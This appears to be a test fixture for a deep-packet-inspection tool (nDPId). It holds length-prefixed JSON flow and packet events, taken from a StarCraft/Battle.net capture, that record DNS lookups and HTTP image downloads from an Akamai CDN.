+00434{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":634,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":892512,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0LN9AAIAG2oTAqAFkAuQucA3IAFBzB1TrAAAAAIACIACFpQAAAgQFtAEDAwgBAQQC"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":635,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1437389985898,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3529,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":635,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":898046,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0LOBAAIAG2oPAqAFkAuQucA3JAFBxSWFcAAAAAIACIAB68QAAAgQFtAEDAwgBAQQC"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":636,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1437389985898,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3530,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":636,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":898284,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0LOFAAIAG2oLAqAFkAuQucA3KAFB0cH\/ZAAAAAIACIABZTAAAAgQFtAEDAwgBAQQC"} +00609{"flow_id":44,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":637,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":912745,"pkt_caplen":194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":194,"pkt_l4_len":160,"pkt":"IImEa8W6hCYVPnXECABFAAC0AABAAEARtYbAqAH+wKgBZAA12KwAoI8HmiuBgAABAAQAAAAAC2JuZXRjbXN1cy1hCGFrYW1haWhkA25ldAAAAQABwAwABQABAAAASwAlC2JuZXRjbXN1cy1hCGFrYW1haWhkA25ldAllZGdlc3VpdGXAIcA2AAUAAQAAUJ4AEQVhMTk2MQFnBmFrYW1hacAhwGcAAQABAAAAEwAEAuQua8BnAAEAAQAAABMABALkLnA="} +00683{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":637,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":4,"flow_first_seen":1437389985821,"flow_last_seen":1437389985912,"flow_tot_l4_data_len":420,"flow_min_l4_data_len":50,"flow_max_l4_data_len":160,"flow_avg_l4_data_len":105,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":55468,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"bnetcmsus-a.akamaihd.net","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"2.228.46.107"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":638,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1437389985923,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3531,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":638,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":923018,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0LOJAAIAG2oHAqAFkAuQucA3LAFDKy4tMAAAAAIACIAD3fAAAAgQFtAEDAwgBAQQC"} +00434{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":639,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":923942,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IImEa8W6hCYVPnXECABFAAA0AABAADkGTmQC5C5wwKgBZABQDccmQrPVioc3eYASOQiYawAAAgQFtAEBBAIBAwMF"} +00418{"flow_id":45,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":640,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":923976,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLONAAIAG2ozAqAFkAuQucA3HAFCKhzd5JkKz1lAQAQARRAAA"} +00621{"flow_id":45,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":641,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":925599,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"hCYVPnXEIImEa8W6CABFAAC9LORAAIAG2fbAqAFkAuQucA3HAFCKhzd5JkKz1lAYAQD4IwAAR0VUIC9jbXMvYm5ldF90aHVtYm5haWwvZ2MvR0NGMURITUg4RkRZMTQzNDY3MDAzNzQzNC5qcGcgSFRUUC8xLjENClVzZXItQWdlbnQ6IEJhdHRsZS5uZXQgV2ViIENsaWVudA0KSG9zdDogYm5ldGNtc3VzLWEuYWthbWFpaGQubmV0DQpBY2NlcHQ6ICovKg0KDQo="} +00725{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":641,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":4,"flow_first_seen":1437389985891,"flow_last_seen":1437389985925,"flow_tot_l4_data_len":253,"flow_min_l4_data_len":20,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3527,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"bnetcmsus-a.akamaihd.net","url":"bnetcmsus-a.akamaihd.net\/cms\/bnet_thumbnail\/gc\/GCF1DHMH8FDY1434670037434.jpg","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":642,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1437389985925,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3532,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":642,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":925630,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0LOVAAIAG2n7AqAFkAuQucA3MAFCmW5TdAAAAAIACIAASWwAAAgQFtAEDAwgBAQQC"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":643,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1437389985925,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3533,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":643,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":925643,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0LOZAAIAG2n3AqAFkAuQucA3NAFAjKxvdAAAAAIACIAAOiwAAAgQFtAEDAwgBAQQC"} +00434{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":644,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":927741,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IImEa8W6hCYVPnXECABFAAA0AABAADkGTmQC5C5wwKgBZABQDci+ghTYcwdU7IASOQiZNAAAAgQFtAEBBAIBAwMF"} +00418{"flow_id":46,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":645,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":927961,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLOdAAIAG2ojAqAFkAuQucA3IAFBzB1TsvoIU2VAQAQASDQAA"} +00434{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":646,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":929896,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IImEa8W6hCYVPnXECABFAAA0AABAADkGTmQC5C5wwKgBZABQDcngMONLcUlhXYASOQieXgAAAgQFtAEBBAIBAwMF"} +00418{"flow_id":47,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":647,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":929949,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLOhAAIAG2ofAqAFkAuQucA3JAFBxSWFd4DDjTFAQAQAXNwAA"} +00435{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":648,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":930881,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IImEa8W6hCYVPnXECABFAAA0AABAADkGTmQC5C5wwKgBZABQDcrPCIDOdHB\/2oASOQjwXgAAAgQFtAEBBAIBAwMF"} +00419{"flow_id":48,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":649,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":930941,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLOlAAIAG2obAqAFkAuQucA3KAFB0cH\/azwiAz1AQAQBpNwAA"} +00617{"flow_id":47,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":650,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":931987,"pkt_caplen":200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":200,"pkt_l4_len":166,"pkt":"hCYVPnXEIImEa8W6CABFAAC6LOpAAIAG2fPAqAFkAuQucA3JAFBxSWFd4DDjTFAYAQDm9QAAR0VUIC9jbXMvYm5ldF9oZWFkZXIveWYvWUY5UFJDWlhKVlBaMTQyODU5MTI1NDMxNy5qcGcgSFRUUC8xLjENClVzZXItQWdlbnQ6IEJhdHRsZS5uZXQgV2ViIENsaWVudA0KSG9zdDogYm5ldGNtc3VzLWEuYWthbWFpaGQubmV0DQpBY2NlcHQ6ICovKg0KDQo="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":650,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":4,"flow_first_seen":1437389985898,"flow_last_seen":1437389985931,"flow_tot_l4_data_len":250,"flow_min_l4_data_len":20,"flow_max_l4_data_len":166,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3529,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"bnetcmsus-a.akamaihd.net","url":"bnetcmsus-a.akamaihd.net\/cms\/bnet_header\/yf\/YF9PRCZXJVPZ1428591254317.jpg","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00618{"flow_id":48,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":651,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":945970,"pkt_caplen":200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":200,"pkt_l4_len":166,"pkt":"hCYVPnXEIImEa8W6CABFAAC6LOtAAIAG2fLAqAFkAuQucA3KAFB0cH\/azwiAz1AYAQBOfQAAR0VUIC9jbXMvYm5ldF9oZWFkZXIvMHgvMFhRMVZYUjhaUjI3MTQzNDEyODUyNzQ3MS5qcGcgSFRUUC8xLjENClVzZXItQWdlbnQ6IEJhdHRsZS5uZXQgV2ViIENsaWVudA0KSG9zdDogYm5ldGNtc3VzLWEuYWthbWFpaGQubmV0DQpBY2NlcHQ6ICovKg0KDQo="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":651,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":4,"flow_first_seen":1437389985898,"flow_last_seen":1437389985945,"flow_tot_l4_data_len":250,"flow_min_l4_data_len":20,"flow_max_l4_data_len":166,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3530,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"bnetcmsus-a.akamaihd.net","url":"bnetcmsus-a.akamaihd.net\/cms\/bnet_header\/0x\/0XQ1VXR8ZR271434128527471.jpg","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00434{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":652,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":955202,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IImEa8W6hCYVPnXECABFAAA0AABAADkGTmQC5C5wwKgBZABQDcsAWb5HysuLTYASOQgfxgAAAgQFtAEBBAIBAwMF"} +00418{"flow_id":49,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":653,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":955228,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLOxAAIAG2oPAqAFkAuQucA3LAFDKy4tNAFm+SFAQAQCYngAA"} +00621{"flow_id":46,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":654,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":955542,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"hCYVPnXEIImEa8W6CABFAAC9LO1AAIAG2e3AqAFkAuQucA3IAFBzB1TsvoIU2VAYAQD34AAAR0VUIC9jbXMvYm5ldF90aHVtYm5haWwvNGovNEo3T1VJSVNDTFRRMTQzNjk0MzYyOTIxMC5qcGcgSFRUUC8xLjENClVzZXItQWdlbnQ6IEJhdHRsZS5uZXQgV2ViIENsaWVudA0KSG9zdDogYm5ldGNtc3VzLWEuYWthbWFpaGQubmV0DQpBY2NlcHQ6ICovKg0KDQo="} +00725{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":654,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":4,"flow_first_seen":1437389985892,"flow_last_seen":1437389985955,"flow_tot_l4_data_len":253,"flow_min_l4_data_len":20,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3528,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"bnetcmsus-a.akamaihd.net","url":"bnetcmsus-a.akamaihd.net\/cms\/bnet_thumbnail\/4j\/4J7OUIISCLTQ1436943629210.jpg","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00618{"flow_id":49,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":655,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":955590,"pkt_caplen":200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":200,"pkt_l4_len":166,"pkt":"hCYVPnXEIImEa8W6CABFAAC6LO5AAIAG2e\/AqAFkAuQucA3LAFDKy4tNAFm+SFAYAQCbwAAAR0VUIC9jbXMvYm5ldF9oZWFkZXIvZmEvRkE1MTJJUFVOMFNFMTQzNjk3OTkzNjM4OC5qcGcgSFRUUC8xLjENClVzZXItQWdlbnQ6IEJhdHRsZS5uZXQgV2ViIENsaWVudA0KSG9zdDogYm5ldGNtc3VzLWEuYWthbWFpaGQubmV0DQpBY2NlcHQ6ICovKg0KDQo="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":655,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":4,"flow_first_seen":1437389985923,"flow_last_seen":1437389985955,"flow_tot_l4_data_len":250,"flow_min_l4_data_len":20,"flow_max_l4_data_len":166,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3531,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"bnetcmsus-a.akamaihd.net","url":"bnetcmsus-a.akamaihd.net\/cms\/bnet_header\/fa\/FA512IPUN0SE1436979936388.jpg","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00434{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":657,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":957622,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IImEa8W6hCYVPnXECABFAAA0AABAADkGTmQC5C5wwKgBZABQDcy5z5mcpluU3oASOQil2AAAAgQFtAEBBAIBAwMF"} +00418{"flow_id":50,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":658,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":957643,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLO9AAIAG2oDAqAFkAuQucA3MAFCmW5Teuc+ZnVAQAQAesQAA"} +00426{"flow_id":45,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":659,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":958266,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAodyJAADkG100C5C5wwKgBZABQDccmQrPWioc4DlAQAeoPxQAAAAAAAAAA"} +02381{"flow_id":45,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":660,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":959404,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcdyNAADkG0ZgC5C5wwKgBZABQDccmQrPWioc4DlAQAeorUQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IEFwYWNoZQ0KWC1GcmFtZS1PcHRpb25zOiBTQU1FT1JJR0lODQpMYXN0LU1vZGlmaWVkOiBUaHUsIDE4IEp1biAyMDE1IDIzOjI3OjE3IEdNVA0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCkNvbnRlbnQtTGVuZ3RoOiAxNjQ4OTMyDQpDb250ZW50LVR5cGU6IGltYWdlL2pwZWcNCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9MTkyNDcyDQpFeHBpcmVzOiBXZWQsIDIyIEp1bCAyMDE1IDE2OjI3OjM3IEdNVA0KRGF0ZTogTW9uLCAyMCBKdWwgMjAxNSAxMDo1OTo0NSBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K\/9j\/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP\/sABFEdWNreQABAAQAAABkAAD\/4QOJaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI\/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjYtYzAxNCA3OS4xNTY3OTcsIDIwMTQvMDgvMjAtMDk6NTM6MDIgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6NTk5OTcwQTcwRTFCRTMxMUE2OENEMjM4Njc4MzhBMjMiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6RDJEMUU4QzcxMzk2MTFFNUE5MDZCNDQ0RjhDRTlFMTgiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6RDJEMUU4QzYxMzk2MTFFNUE5MDZCNDQ0RjhDRTlFMTgiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIDIwMTQgKFdpbmRvd3MpIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MWM3NmVhMmUtYjE1Zi1lZTQxLTliY2ItMGI0MGM4MWNmZWVjIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6M2NkMDQwYjQtMTE1Yi0xMWU1LTgzODctZGRhYzM4NmY0ZmRhIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+\/+4ADkFkb2JlAGTAAAAAAf\/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD\/8AAEQgEsAhWAwERAAIRAQMRAf\/EAQ0AAAEEAwEBAQEAAAAAAAAAAAU="} +02403{"flow_id":45,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":661,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":959469,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcdyRAADkG0ZcC5C5wwKgBZABQDccmQrmKioc4DlAQAeqLWAAAAgMEBgEHCAAJCgsBAAEFAQEBAQEAAAAAAAAAAAMAAQIEBQYHCAkKEAACAQIEBAQDBQYEBAAAAT0BAgMRBAAhEgUxQRMGUWEiB3EyFIGRQiMI8KGxwVIV0TMkCeHxYhZyQxeCklM0JQqiY0SW1xgZGrJzNbUmJ0dXKMLSVNRFVZXVNkZWZnY3WOLkhtanKYNklKS0haW2d4eXtzhI2BEAAQMDAgMFBgQEBQIDAQIfARECAwAhBDESQVEFYXEiEwbwgZGhMgexwUIU0eFSI\/FiMxUIciSCkhai0kNTsmPTNFQlF8Jzk9SDo7NEdEVVGAni4yZktMQ1J6Q3\/9oADAMBAAIRAxEAPwD8Ef2nieZ8TjQqFZz8f3nlhLTWppiRzOFSGqVlWJ5mvxOHF7UxFZqcPTKaUrHPj48Th2rTipANRiYU0qVU8yfvOJBRT05qJyqc\/PDgVFEvWQPM\/ecPfhTKtKApzP3n\/HDqalWc\/E\/ef8cPTJXqnxP3n\/HCpJXuIoSSPif8cKkgpGg1qpI5cTT45EZ4ZOVJK9p\/qFfDMmjZZg\/DDd9RpLRKcx83DiwP7jiJHHjTgisFXAowDimXEU8MyTXDX43pLTLQQy8SdQ41JDDLxORH35YiWsdrSXlTH0kyV0N1E5oDRq8eFdJPwOYxHyng+FCzlT9ppojPS1VfMFWJGeRHpPqAz+\/E